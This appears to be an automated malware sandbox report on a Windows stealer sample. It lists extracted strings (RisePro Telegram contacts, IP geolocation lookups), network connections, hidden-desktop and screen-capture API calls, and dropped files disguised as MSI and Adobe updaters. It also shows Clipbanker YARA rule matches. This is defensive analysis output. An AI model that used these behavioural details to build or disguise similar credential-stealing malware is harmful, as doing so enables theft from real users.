Source: file.exe, 00000000.00000002.4444174900.0000000001425000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: file.exe, 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll
Source: file.exe, 00000000.00000002.4444174900.00000000013FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444174900.0000000001425000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/185.152.66.230
Source: file.exe, 00000000.00000002.4444174900.0000000001425000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/185.152.66.230B
Source: file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.7.dr, MSIUpdaterV2.exe0.0.dr, JcZ7W4aCxlpc4pOVLwL1.exe.0.dr, AdobeUpdaterV2.exe0.0.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://support.mozilla.org
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.4445827728.00000000064CA000.00000004.00000020.00020000.00000000.sdmp, UhOL8vG3NSxPpn1EjM9IIxV.zip.0.dr	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp, passwords.txt.0.dr	String found in binary or memory: https://t.me/risepro_bot
Source: file.exe, 00000000.00000003.2073911947.000000000143F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444174900.0000000001442000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073061724.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot7
Source: file.exe, 00000000.00000003.2069275480.00000000064F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060488371.00000000064EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063654838.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, KxyubmlbrMrsWeb Data.0.dr, _oONYmGn6yA2Web Data.0.dr, Hm8O0mwXDHDOWeb Data.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2069275480.00000000064F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060488371.00000000064EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063654838.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, KxyubmlbrMrsWeb Data.0.dr, _oONYmGn6yA2Web Data.0.dr, Hm8O0mwXDHDOWeb Data.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2073911947.000000000143F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444174900.0000000001442000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073061724.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445827728.00000000064D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp, Firefox_v6zchhhv.default-release.txt.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2066452942.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445435690.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2059284547.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074030105.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2075187683.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2072444515.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2058242529.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063872540.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2072869955.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2059623324.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2071206391.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2070235991.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2069515313.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2064694452.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2071762916.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060555668.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2067854722.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2069937855.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2062612473.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, 3b6N2Xdh3CYwplaces.sqlite.0.dr, D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2066452942.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445435690.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2059284547.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074030105.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2075187683.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2072444515.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2058242529.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063872540.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2072869955.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2059623324.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2071206391.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2070235991.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2069515313.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2064694452.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2071762916.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060555668.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2067854722.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2069937855.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2062612473.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, 3b6N2Xdh3CYwplaces.sqlite.0.dr, D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2073911947.000000000143F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444174900.0000000001442000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073061724.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445827728.00000000064D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp, Firefox_v6zchhhv.default-release.txt.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2066452942.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445435690.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2059284547.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074030105.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2075187683.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2072444515.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2058242529.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063872540.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2072869955.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2059623324.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2071206391.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2070235991.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2069515313.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2064694452.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2071762916.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060555668.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2067854722.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2069937855.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2062612473.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, 3b6N2Xdh3CYwplaces.sqlite.0.dr, D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000003.2073911947.000000000143F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444174900.0000000001442000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073061724.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/irefox
Source: file.exe, 00000000.00000002.4445827728.00000000064D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/txt

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.220.53:443 -> 192.168.2.5:49717 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06F0C230 SetThreadExecutionState,SetThreadExecutionState,CreateThread,CloseHandle,GetDesktopWindow,GetWindowRect,GetSystemMetrics,GetSystemMetrics,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,shutdown,closesocket,SetThreadDesktop,Sleep,GetCurrentThreadId,GetThreadDesktop,SetThreadDesktop,GetCurrentThreadId,GetThreadDesktop,BitBlt,DeleteObject,DeleteDC,ReleaseDC,Sleep,GetSystemMetrics,GetSystemMetrics,GetCurrentThreadId,GetThreadDesktop,SwitchDesktop,SetThreadDesktop,Sleep,Sleep,DeleteObject,DeleteDC,ReleaseDC,

0_2_06F0C230

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06EE9080 OpenDesktopA,CreateDesktopA,

0_2_06EE9080

System Summary

Malicious sample detected (through community Yara rule)

Source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 21.2.JcZ7W4aCxlpc4pOVLwL1.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 21.2.JcZ7W4aCxlpc4pOVLwL1.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 8.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 8.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 22.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 22.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 26.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 26.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 23.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 23.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 28.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 28.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 24.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 24.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 7.2.dD08ulq4N33OmW5HQdwT.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 7.2.dD08ulq4N33OmW5HQdwT.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 25.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 25.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 29.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 29.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001C.00000002.2550324003.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001C.00000002.2550324003.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000016.00000002.2249704079.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000016.00000002.2249704079.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000E.00000002.4443460598.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000E.00000002.4443460598.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000007.00000002.2188753837.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000007.00000002.2188753837.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000019.00000002.2385333464.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000019.00000002.2385333464.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000015.00000002.2242821853.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000015.00000002.2242821853.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000008.00000002.2208828961.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000008.00000002.2208828961.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001D.00000002.2631140407.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001D.00000002.2631140407.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001A.00000002.2465095851.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001A.00000002.2465095851.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000017.00000002.2250105459.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000017.00000002.2250105459.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000B.00000002.2205175531.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000B.00000002.2205175531.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000018.00000002.2305505558.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000018.00000002.2305505558.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown

PE file contains section with special chars

Source: file.exe	Static PE information: section name: .vmp,,,0
Source: file.exe	Static PE information: section name: .vmp,,,1
Source: file.exe	Static PE information: section name: .vmp,,,2

Source: C:\Users\user\Desktop\file.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B8080	0_2_009B8080
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0090001D	0_2_0090001D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FC8D0	0_2_009FC8D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0095CBF0	0_2_0095CBF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00967D20	0_2_00967D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A040A0	0_2_00A040A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009F20C0	0_2_009F20C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B0350	0_2_009B0350
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0090035F	0_2_0090035F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A6269F	0_2_00A6269F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009147AD	0_2_009147AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008FA918	0_2_008FA918
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008FC950	0_2_008FC950
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A04AE0	0_2_00A04AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B4EA59	0_2_00B4EA59
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A4B90	0_2_009A4B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00918BA0	0_2_00918BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00918E20	0_2_00918E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009ACFC0	0_2_009ACFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B29025	0_2_00B29025
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F7190	0_2_008F7190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00961130	0_2_00961130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A03160	0_2_00A03160
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A6729A	0_2_00A6729A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008EF570	0_2_008EF570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BBDB7F	0_2_00BBDB7F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A8FCED	0_2_00A8FCED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00961E40	0_2_00961E40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009ABFC0	0_2_009ABFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06EEA230	0_2_06EEA230
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06F0C990	0_2_06F0C990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06F0D540	0_2_06F0D540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06EE9A10	0_2_06EE9A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06EF3B60	0_2_06EF3B60

Source: Joe Sandbox View	Dropped File: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
Source: Joe Sandbox View	Dropped File: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 008DACE0 appears 62 times

Source: file.exe

Static PE information: invalid certificate

Source: file.exe, 00000000.00000003.2224536792.0000000006AC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe, 00000000.00000003.2226429039.0000000006AC2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe, 00000000.00000003.2231591589.0000000006ACB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe, 00000000.00000003.2168366687.000000000688A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe, 00000000.00000003.2171906117.0000000006887000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe, 00000000.00000003.2169325992.0000000006888000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 21.2.JcZ7W4aCxlpc4pOVLwL1.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 21.2.JcZ7W4aCxlpc4pOVLwL1.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 8.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 8.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
